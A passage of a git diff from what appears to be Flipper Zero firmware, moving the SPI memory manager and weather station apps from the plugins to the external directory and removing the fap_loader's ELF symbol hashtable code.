applications/external/spi_mem_manager/lib/spi/spi_mem_worker_modes.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene.h b/applications/external/spi_mem_manager/scenes/spi_mem_scene.h similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene.h rename to applications/external/spi_mem_manager/scenes/spi_mem_scene.h diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_about.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_about.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_about.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_about.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_error.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_error.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_error.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_config.h b/applications/external/spi_mem_manager/scenes/spi_mem_scene_config.h similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_config.h rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_config.h diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_erase.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_erase.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_erase.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_erase.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_file_info.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_file_info.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_file_info.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_file_info.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_read.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_read.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_read.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_read.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_read_filename.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_read_filename.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_read_filename.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_read_filename.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_file.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_file.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_file.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_select_file.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_model.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_model.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_model.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_select_model.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_start.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_start.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_start.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_start.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_storage_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_storage_error.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_storage_error.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_storage_error.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_success.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_success.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_success.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_success.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_verify.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_verify.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_verify.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_verify_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify_error.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_verify_error.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_verify_error.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_wiring.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_wiring.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_wiring.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_wiring.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_write.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_write.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_write.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_write.c diff --git a/applications/plugins/spi_mem_manager/spi_mem_app.c b/applications/external/spi_mem_manager/spi_mem_app.c similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_app.c rename to applications/external/spi_mem_manager/spi_mem_app.c diff --git a/applications/plugins/spi_mem_manager/spi_mem_app.h b/applications/external/spi_mem_manager/spi_mem_app.h similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_app.h rename to applications/external/spi_mem_manager/spi_mem_app.h diff --git a/applications/plugins/spi_mem_manager/spi_mem_app_i.h b/applications/external/spi_mem_manager/spi_mem_app_i.h similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_app_i.h rename to applications/external/spi_mem_manager/spi_mem_app_i.h diff --git a/applications/plugins/spi_mem_manager/spi_mem_files.c b/applications/external/spi_mem_manager/spi_mem_files.c similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_files.c rename to applications/external/spi_mem_manager/spi_mem_files.c diff --git a/applications/plugins/spi_mem_manager/spi_mem_files.h b/applications/external/spi_mem_manager/spi_mem_files.h similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_files.h rename to applications/external/spi_mem_manager/spi_mem_files.h diff --git a/applications/plugins/spi_mem_manager/tools/README.md b/applications/external/spi_mem_manager/tools/README.md similarity index 100% rename from applications/plugins/spi_mem_manager/tools/README.md rename to applications/external/spi_mem_manager/tools/README.md diff --git a/applications/plugins/spi_mem_manager/tools/chiplist/LICENSE b/applications/external/spi_mem_manager/tools/chiplist/LICENSE similarity index 100% rename from applications/plugins/spi_mem_manager/tools/chiplist/LICENSE rename to applications/external/spi_mem_manager/tools/chiplist/LICENSE diff --git a/applications/plugins/spi_mem_manager/tools/chiplist/chiplist.xml b/applications/external/spi_mem_manager/tools/chiplist/chiplist.xml similarity index 100% rename from applications/plugins/spi_mem_manager/tools/chiplist/chiplist.xml rename to applications/external/spi_mem_manager/tools/chiplist/chiplist.xml diff --git a/applications/plugins/spi_mem_manager/tools/chiplist_convert.py b/applications/external/spi_mem_manager/tools/chiplist_convert.py similarity index 100% rename from applications/plugins/spi_mem_manager/tools/chiplist_convert.py rename to applications/external/spi_mem_manager/tools/chiplist_convert.py diff --git a/applications/plugins/spi_mem_manager/views/spi_mem_view_detect.c b/applications/external/spi_mem_manager/views/spi_mem_view_detect.c similarity index 100% rename from applications/plugins/spi_mem_manager/views/spi_mem_view_detect.c rename to applications/external/spi_mem_manager/views/spi_mem_view_detect.c diff --git a/applications/plugins/spi_mem_manager/views/spi_mem_view_detect.h b/applications/external/spi_mem_manager/views/spi_mem_view_detect.h similarity index 100% rename from applications/plugins/spi_mem_manager/views/spi_mem_view_detect.h rename to applications/external/spi_mem_manager/views/spi_mem_view_detect.h diff --git a/applications/plugins/spi_mem_manager/views/spi_mem_view_progress.c b/applications/external/spi_mem_manager/views/spi_mem_view_progress.c similarity index 100% rename from applications/plugins/spi_mem_manager/views/spi_mem_view_progress.c rename to applications/external/spi_mem_manager/views/spi_mem_view_progress.c diff --git a/applications/plugins/spi_mem_manager/views/spi_mem_view_progress.h b/applications/external/spi_mem_manager/views/spi_mem_view_progress.h similarity index 100% rename from applications/plugins/spi_mem_manager/views/spi_mem_view_progress.h rename to applications/external/spi_mem_manager/views/spi_mem_view_progress.h diff --git a/applications/plugins/weather_station/application.fam b/applications/external/weather_station/application.fam similarity index 79% rename from applications/plugins/weather_station/application.fam rename to applications/external/weather_station/application.fam index 935f92573..8dcaa1259 100644 --- a/applications/plugins/weather_station/application.fam +++ b/applications/external/weather_station/application.fam @@ -1,10 +1,9 @@ App( appid="weather_station", name="Weather Station", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, targets=["f7"], entry_point="weather_station_app", - cdefines=["APP_WEATHER_STATION"], requires=["gui"], stack_size=4 * 1024, order=50, diff --git a/applications/plugins/weather_station/helpers/weather_station_event.h b/applications/external/weather_station/helpers/weather_station_event.h similarity index 100% rename from applications/plugins/weather_station/helpers/weather_station_event.h rename to applications/external/weather_station/helpers/weather_station_event.h diff --git a/applications/plugins/weather_station/helpers/weather_station_types.h b/applications/external/weather_station/helpers/weather_station_types.h similarity index 100% rename from applications/plugins/weather_station/helpers/weather_station_types.h rename to applications/external/weather_station/helpers/weather_station_types.h diff --git a/applications/plugins/weather_station/images/Humid_10x15.png b/applications/external/weather_station/images/Humid_10x15.png similarity index 100% rename from applications/plugins/weather_station/images/Humid_10x15.png rename to applications/external/weather_station/images/Humid_10x15.png diff --git a/applications/plugins/weather_station/images/Humid_8x13.png b/applications/external/weather_station/images/Humid_8x13.png similarity index 100% rename from applications/plugins/weather_station/images/Humid_8x13.png rename to applications/external/weather_station/images/Humid_8x13.png diff --git a/applications/plugins/weather_station/images/Lock_7x8.png b/applications/external/weather_station/images/Lock_7x8.png similarity index 100% rename from applications/plugins/weather_station/images/Lock_7x8.png rename to applications/external/weather_station/images/Lock_7x8.png diff --git a/applications/plugins/weather_station/images/Pin_back_arrow_10x8.png b/applications/external/weather_station/images/Pin_back_arrow_10x8.png similarity index 100% rename from applications/plugins/weather_station/images/Pin_back_arrow_10x8.png rename to applications/external/weather_station/images/Pin_back_arrow_10x8.png diff --git a/applications/plugins/weather_station/images/Quest_7x8.png b/applications/external/weather_station/images/Quest_7x8.png similarity index 100% rename from applications/plugins/weather_station/images/Quest_7x8.png rename to applications/external/weather_station/images/Quest_7x8.png diff --git a/applications/plugins/weather_station/images/Scanning_123x52.png b/applications/external/weather_station/images/Scanning_123x52.png similarity index 100% rename from applications/plugins/weather_station/images/Scanning_123x52.png rename to applications/external/weather_station/images/Scanning_123x52.png diff --git a/applications/plugins/weather_station/images/Therm_7x16.png b/applications/external/weather_station/images/Therm_7x16.png similarity index 100% rename from applications/plugins/weather_station/images/Therm_7x16.png rename to applications/external/weather_station/images/Therm_7x16.png diff --git a/applications/plugins/weather_station/images/Timer_11x11.png b/applications/external/weather_station/images/Timer_11x11.png similarity index 100% rename from applications/plugins/weather_station/images/Timer_11x11.png rename to applications/external/weather_station/images/Timer_11x11.png diff --git a/applications/plugins/weather_station/images/Unlock_7x8.png b/applications/external/weather_station/images/Unlock_7x8.png similarity index 100% rename from applications/plugins/weather_station/images/Unlock_7x8.png rename to applications/external/weather_station/images/Unlock_7x8.png diff --git a/applications/plugins/weather_station/images/WarningDolphin_45x42.png b/applications/external/weather_station/images/WarningDolphin_45x42.png similarity index 100% rename from applications/plugins/weather_station/images/WarningDolphin_45x42.png rename to applications/external/weather_station/images/WarningDolphin_45x42.png diff --git a/applications/plugins/weather_station/images/station_icon.png b/applications/external/weather_station/images/station_icon.png similarity index 100% rename from applications/plugins/weather_station/images/station_icon.png rename to applications/external/weather_station/images/station_icon.png diff --git a/applications/plugins/weather_station/protocols/acurite_592txr.c b/applications/external/weather_station/protocols/acurite_592txr.c similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_592txr.c rename to applications/external/weather_station/protocols/acurite_592txr.c diff --git a/applications/plugins/weather_station/protocols/acurite_592txr.h b/applications/external/weather_station/protocols/acurite_592txr.h similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_592txr.h rename to applications/external/weather_station/protocols/acurite_592txr.h diff --git a/applications/plugins/weather_station/protocols/acurite_606tx.c b/applications/external/weather_station/protocols/acurite_606tx.c similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_606tx.c rename to applications/external/weather_station/protocols/acurite_606tx.c diff --git a/applications/plugins/weather_station/protocols/acurite_606tx.h b/applications/external/weather_station/protocols/acurite_606tx.h similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_606tx.h rename to applications/external/weather_station/protocols/acurite_606tx.h diff --git a/applications/plugins/weather_station/protocols/acurite_609txc.c b/applications/external/weather_station/protocols/acurite_609txc.c similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_609txc.c rename to applications/external/weather_station/protocols/acurite_609txc.c diff --git a/applications/plugins/weather_station/protocols/acurite_609txc.h b/applications/external/weather_station/protocols/acurite_609txc.h similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_609txc.h rename to applications/external/weather_station/protocols/acurite_609txc.h diff --git a/applications/plugins/weather_station/protocols/ambient_weather.c b/applications/external/weather_station/protocols/ambient_weather.c similarity index 100% rename from applications/plugins/weather_station/protocols/ambient_weather.c rename to applications/external/weather_station/protocols/ambient_weather.c diff --git a/applications/plugins/weather_station/protocols/ambient_weather.h b/applications/external/weather_station/protocols/ambient_weather.h similarity index 100% rename from applications/plugins/weather_station/protocols/ambient_weather.h rename to applications/external/weather_station/protocols/ambient_weather.h diff --git a/applications/plugins/weather_station/protocols/auriol_hg0601a.c b/applications/external/weather_station/protocols/auriol_hg0601a.c similarity index 100% rename from applications/plugins/weather_station/protocols/auriol_hg0601a.c rename to applications/external/weather_station/protocols/auriol_hg0601a.c diff --git a/applications/plugins/weather_station/protocols/auriol_hg0601a.h b/applications/external/weather_station/protocols/auriol_hg0601a.h similarity index 100% rename from applications/plugins/weather_station/protocols/auriol_hg0601a.h rename to applications/external/weather_station/protocols/auriol_hg0601a.h diff --git a/applications/plugins/weather_station/protocols/gt_wt_02.c b/applications/external/weather_station/protocols/gt_wt_02.c similarity index 100% rename from applications/plugins/weather_station/protocols/gt_wt_02.c rename to applications/external/weather_station/protocols/gt_wt_02.c diff --git a/applications/plugins/weather_station/protocols/gt_wt_02.h b/applications/external/weather_station/protocols/gt_wt_02.h similarity index 100% rename from applications/plugins/weather_station/protocols/gt_wt_02.h rename to applications/external/weather_station/protocols/gt_wt_02.h diff --git a/applications/plugins/weather_station/protocols/gt_wt_03.c b/applications/external/weather_station/protocols/gt_wt_03.c similarity index 100% rename from applications/plugins/weather_station/protocols/gt_wt_03.c rename to applications/external/weather_station/protocols/gt_wt_03.c diff --git a/applications/plugins/weather_station/protocols/gt_wt_03.h b/applications/external/weather_station/protocols/gt_wt_03.h similarity index 100% rename from applications/plugins/weather_station/protocols/gt_wt_03.h rename to applications/external/weather_station/protocols/gt_wt_03.h diff --git a/applications/plugins/weather_station/protocols/infactory.c b/applications/external/weather_station/protocols/infactory.c similarity index 100% rename from applications/plugins/weather_station/protocols/infactory.c rename to applications/external/weather_station/protocols/infactory.c diff --git a/applications/plugins/weather_station/protocols/infactory.h b/applications/external/weather_station/protocols/infactory.h similarity index 100% rename from applications/plugins/weather_station/protocols/infactory.h rename to applications/external/weather_station/protocols/infactory.h diff --git a/applications/plugins/weather_station/protocols/lacrosse_tx.c b/applications/external/weather_station/protocols/lacrosse_tx.c similarity index 100% rename from applications/plugins/weather_station/protocols/lacrosse_tx.c rename to applications/external/weather_station/protocols/lacrosse_tx.c diff --git a/applications/plugins/weather_station/protocols/lacrosse_tx.h b/applications/external/weather_station/protocols/lacrosse_tx.h similarity index 100% rename from applications/plugins/weather_station/protocols/lacrosse_tx.h rename to applications/external/weather_station/protocols/lacrosse_tx.h diff --git a/applications/plugins/weather_station/protocols/lacrosse_tx141thbv2.c b/applications/external/weather_station/protocols/lacrosse_tx141thbv2.c similarity index 100% rename from applications/plugins/weather_station/protocols/lacrosse_tx141thbv2.c rename to applications/external/weather_station/protocols/lacrosse_tx141thbv2.c diff --git a/applications/plugins/weather_station/protocols/lacrosse_tx141thbv2.h b/applications/external/weather_station/protocols/lacrosse_tx141thbv2.h similarity index 100% rename from applications/plugins/weather_station/protocols/lacrosse_tx141thbv2.h rename to applications/external/weather_station/protocols/lacrosse_tx141thbv2.h diff --git a/applications/plugins/weather_station/protocols/nexus_th.c b/applications/external/weather_station/protocols/nexus_th.c similarity index 100% rename from applications/plugins/weather_station/protocols/nexus_th.c rename to applications/external/weather_station/protocols/nexus_th.c diff --git a/applications/plugins/weather_station/protocols/nexus_th.h b/applications/external/weather_station/protocols/nexus_th.h similarity index 100% rename from applications/plugins/weather_station/protocols/nexus_th.h rename to applications/external/weather_station/protocols/nexus_th.h diff --git a/applications/plugins/weather_station/protocols/oregon2.c b/applications/external/weather_station/protocols/oregon2.c similarity index 100% rename from applications/plugins/weather_station/protocols/oregon2.c rename to applications/external/weather_station/protocols/oregon2.c diff --git a/applications/plugins/weather_station/protocols/oregon2.h b/applications/external/weather_station/protocols/oregon2.h similarity index 100% rename from applications/plugins/weather_station/protocols/oregon2.h rename to applications/external/weather_station/protocols/oregon2.h diff --git a/applications/plugins/weather_station/protocols/oregon_v1.c b/applications/external/weather_station/protocols/oregon_v1.c similarity index 100% rename from applications/plugins/weather_station/protocols/oregon_v1.c rename to applications/external/weather_station/protocols/oregon_v1.c diff --git a/applications/plugins/weather_station/protocols/oregon_v1.h b/applications/external/weather_station/protocols/oregon_v1.h similarity index 100% rename from applications/plugins/weather_station/protocols/oregon_v1.h rename to applications/external/weather_station/protocols/oregon_v1.h diff --git a/applications/plugins/weather_station/protocols/protocol_items.c b/applications/external/weather_station/protocols/protocol_items.c similarity index 100% rename from applications/plugins/weather_station/protocols/protocol_items.c rename to applications/external/weather_station/protocols/protocol_items.c diff --git a/applications/plugins/weather_station/protocols/protocol_items.h b/applications/external/weather_station/protocols/protocol_items.h similarity index 100% rename from applications/plugins/weather_station/protocols/protocol_items.h rename to applications/external/weather_station/protocols/protocol_items.h diff --git a/applications/plugins/weather_station/protocols/thermopro_tx4.c b/applications/external/weather_station/protocols/thermopro_tx4.c similarity index 100% rename from applications/plugins/weather_station/protocols/thermopro_tx4.c rename to applications/external/weather_station/protocols/thermopro_tx4.c diff --git a/applications/plugins/weather_station/protocols/thermopro_tx4.h b/applications/external/weather_station/protocols/thermopro_tx4.h similarity index 100% rename from applications/plugins/weather_station/protocols/thermopro_tx4.h rename to applications/external/weather_station/protocols/thermopro_tx4.h diff --git a/applications/plugins/weather_station/protocols/tx_8300.c b/applications/external/weather_station/protocols/tx_8300.c similarity index 100% rename from applications/plugins/weather_station/protocols/tx_8300.c rename to applications/external/weather_station/protocols/tx_8300.c diff --git a/applications/plugins/weather_station/protocols/tx_8300.h b/applications/external/weather_station/protocols/tx_8300.h similarity index 100% rename from applications/plugins/weather_station/protocols/tx_8300.h rename to applications/external/weather_station/protocols/tx_8300.h diff --git a/applications/plugins/weather_station/protocols/ws_generic.c b/applications/external/weather_station/protocols/ws_generic.c similarity index 100% rename from applications/plugins/weather_station/protocols/ws_generic.c rename to applications/external/weather_station/protocols/ws_generic.c diff --git a/applications/plugins/weather_station/protocols/ws_generic.h b/applications/external/weather_station/protocols/ws_generic.h similarity index 100% rename from applications/plugins/weather_station/protocols/ws_generic.h rename to applications/external/weather_station/protocols/ws_generic.h diff --git a/applications/plugins/weather_station/scenes/weather_station_receiver.c b/applications/external/weather_station/scenes/weather_station_receiver.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_receiver.c rename to applications/external/weather_station/scenes/weather_station_receiver.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene.c b/applications/external/weather_station/scenes/weather_station_scene.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene.c rename to applications/external/weather_station/scenes/weather_station_scene.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene.h b/applications/external/weather_station/scenes/weather_station_scene.h similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene.h rename to applications/external/weather_station/scenes/weather_station_scene.h diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_about.c b/applications/external/weather_station/scenes/weather_station_scene_about.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_about.c rename to applications/external/weather_station/scenes/weather_station_scene_about.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_config.h b/applications/external/weather_station/scenes/weather_station_scene_config.h similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_config.h rename to applications/external/weather_station/scenes/weather_station_scene_config.h diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_receiver_config.c b/applications/external/weather_station/scenes/weather_station_scene_receiver_config.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_receiver_config.c rename to applications/external/weather_station/scenes/weather_station_scene_receiver_config.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_receiver_info.c b/applications/external/weather_station/scenes/weather_station_scene_receiver_info.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_receiver_info.c rename to applications/external/weather_station/scenes/weather_station_scene_receiver_info.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_start.c b/applications/external/weather_station/scenes/weather_station_scene_start.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_start.c rename to applications/external/weather_station/scenes/weather_station_scene_start.c diff --git a/applications/plugins/weather_station/views/weather_station_receiver.c b/applications/external/weather_station/views/weather_station_receiver.c similarity index 100% rename from applications/plugins/weather_station/views/weather_station_receiver.c rename to applications/external/weather_station/views/weather_station_receiver.c diff --git a/applications/plugins/weather_station/views/weather_station_receiver.h b/applications/external/weather_station/views/weather_station_receiver.h similarity index 100% rename from applications/plugins/weather_station/views/weather_station_receiver.h rename to applications/external/weather_station/views/weather_station_receiver.h diff --git a/applications/plugins/weather_station/views/weather_station_receiver_info.c b/applications/external/weather_station/views/weather_station_receiver_info.c similarity index 100% rename from applications/plugins/weather_station/views/weather_station_receiver_info.c rename to applications/external/weather_station/views/weather_station_receiver_info.c diff --git a/applications/plugins/weather_station/views/weather_station_receiver_info.h b/applications/external/weather_station/views/weather_station_receiver_info.h similarity index 100% rename from applications/plugins/weather_station/views/weather_station_receiver_info.h rename to applications/external/weather_station/views/weather_station_receiver_info.h diff --git a/applications/plugins/weather_station/weather_station_10px.png b/applications/external/weather_station/weather_station_10px.png similarity index 100% rename from applications/plugins/weather_station/weather_station_10px.png rename to applications/external/weather_station/weather_station_10px.png diff --git a/applications/plugins/weather_station/weather_station_app.c b/applications/external/weather_station/weather_station_app.c similarity index 100% rename from applications/plugins/weather_station/weather_station_app.c rename to applications/external/weather_station/weather_station_app.c diff --git a/applications/plugins/weather_station/weather_station_app_i.c b/applications/external/weather_station/weather_station_app_i.c similarity index 100% rename from applications/plugins/weather_station/weather_station_app_i.c rename to applications/external/weather_station/weather_station_app_i.c diff --git a/applications/plugins/weather_station/weather_station_app_i.h b/applications/external/weather_station/weather_station_app_i.h similarity index 100% rename from applications/plugins/weather_station/weather_station_app_i.h rename to applications/external/weather_station/weather_station_app_i.h diff --git a/applications/plugins/weather_station/weather_station_history.c b/applications/external/weather_station/weather_station_history.c similarity index 100% rename from applications/plugins/weather_station/weather_station_history.c rename to applications/external/weather_station/weather_station_history.c diff --git a/applications/plugins/weather_station/weather_station_history.h b/applications/external/weather_station/weather_station_history.h similarity index 100% rename from applications/plugins/weather_station/weather_station_history.h rename to applications/external/weather_station/weather_station_history.h diff --git a/applications/main/fap_loader/application.fam b/applications/main/fap_loader/application.fam index 784ee9508..b0e67cd42 100644 --- a/applications/main/fap_loader/application.fam +++ b/applications/main/fap_loader/application.fam @@ -7,6 +7,7 @@ App( requires=[ "gui", "storage", + "loader", ], stack_size=int(1.5 * 1024), icon="A_Plugins_14", diff --git a/applications/main/fap_loader/elf_cpp/elf_hashtable.cpp b/applications/main/fap_loader/elf_cpp/elf_hashtable.cpp deleted file mode 100644 index e845ed008..000000000 --- a/applications/main/fap_loader/elf_cpp/elf_hashtable.cpp +++ /dev/null @@ -1,48 +0,0 @@ -#include "compilesort.hpp" -#include "elf_hashtable.h" -#include "elf_hashtable_entry.h" -#include "elf_hashtable_checks.hpp" - -#include -#include - -/* Generated table */ -#include - -#define TAG "elf_hashtable" - -static_assert(!has_hash_collisions(elf_api_table), "Detected API method hash collision!"); - -/** - * Get function address by function name - * @param name function name - * @param address output for function address - * @return true if the table contains a function - */ - -bool elf_resolve_from_hashtable(const char* name, Elf32_Addr* address) { - bool result = false; - uint32_t gnu_sym_hash = elf_gnu_hash(name); - - sym_entry key = { - .hash = gnu_sym_hash, - .address = 0, - }; - - auto find_res = std::lower_bound(elf_api_table.cbegin(), elf_api_table.cend(), key); - if((find_res == elf_api_table.cend() || (find_res->hash != gnu_sym_hash))) { - FURI_LOG_W(TAG, "Can't find symbol '%s' (hash %lx)!", name, gnu_sym_hash); - result = false; - } else { - result = true; - *address = find_res->address; - } - - return result; -} - -const ElfApiInterface hashtable_api_interface = { - .api_version_major = (elf_api_version >> 16), - .api_version_minor = (elf_api_version & 0xFFFF), - .resolver_callback = &elf_resolve_from_hashtable, -}; diff --git a/applications/main/fap_loader/elf_cpp/elf_hashtable.h b/applications/main/fap_loader/elf_cpp/elf_hashtable.h deleted file mode 100644 index e574f1169..000000000 --- a/applications/main/fap_loader/elf_cpp/elf_hashtable.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once -#include - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -extern const ElfApiInterface hashtable_api_interface; - -#ifdef __cplusplus -} -#endif diff --git a/applications/main/fap_loader/elf_cpp/elf_hashtable_checks.hpp b/applications/main/fap_loader/elf_cpp/elf_hashtable_checks.hpp deleted file mode 100644 index 61ee80e91..000000000 --- a/applications/main/fap_loader/elf_cpp/elf_hashtable_checks.hpp +++ /dev/null @@ -1,18 +0,0 @@ -/** - * Check for multiple entries with the same hash value at compilation time. - */ - -#pragma once -#include -#include "elf_hashtable_entry.h" - -template -constexpr bool has_hash_collisions(const std::array api_methods) { - for(std::size_t i = 0; i < (N - 1); ++i) { - if(api_methods[i].hash == api_methods[i + 1].hash) { - return true; - } - } - - return false; -} diff --git a/applications/main/fap_loader/elf_cpp/elf_hashtable_entry.h b/applications/main/fap_loader/elf_cpp/elf_hashtable_entry.h deleted file mode 100644 index 7b540fba6..000000000 --- a/applications/main/fap_loader/elf_cpp/elf_hashtable_entry.h +++ /dev/null @@ -1,41 +0,0 @@ -#pragma once -#include - -#ifdef __cplusplus -extern "C" { -#endif - -struct sym_entry { - uint32_t hash; - uint32_t address; -}; - -#ifdef __cplusplus -} - -#include -#include - -#define API_METHOD(x, ret_type, args_type) \ - sym_entry { \ - .hash = elf_gnu_hash(#x), .address = (uint32_t)(static_cast(x)) \ - } - -#define API_VARIABLE(x, var_type) \ - sym_entry { \ - .hash = elf_gnu_hash(#x), .address = (uint32_t)(&(x)), \ - } - -constexpr bool operator<(const sym_entry& k1, const sym_entry& k2) { - return k1.hash < k2.hash; -} - -constexpr uint32_t elf_gnu_hash(const char* s) { - uint32_t h = 0x1505; - for(unsigned char c = *s; c != '\0'; c = *++s) { - h = (h << 5) + h + c; - } - return h; -} - -#endif diff --git 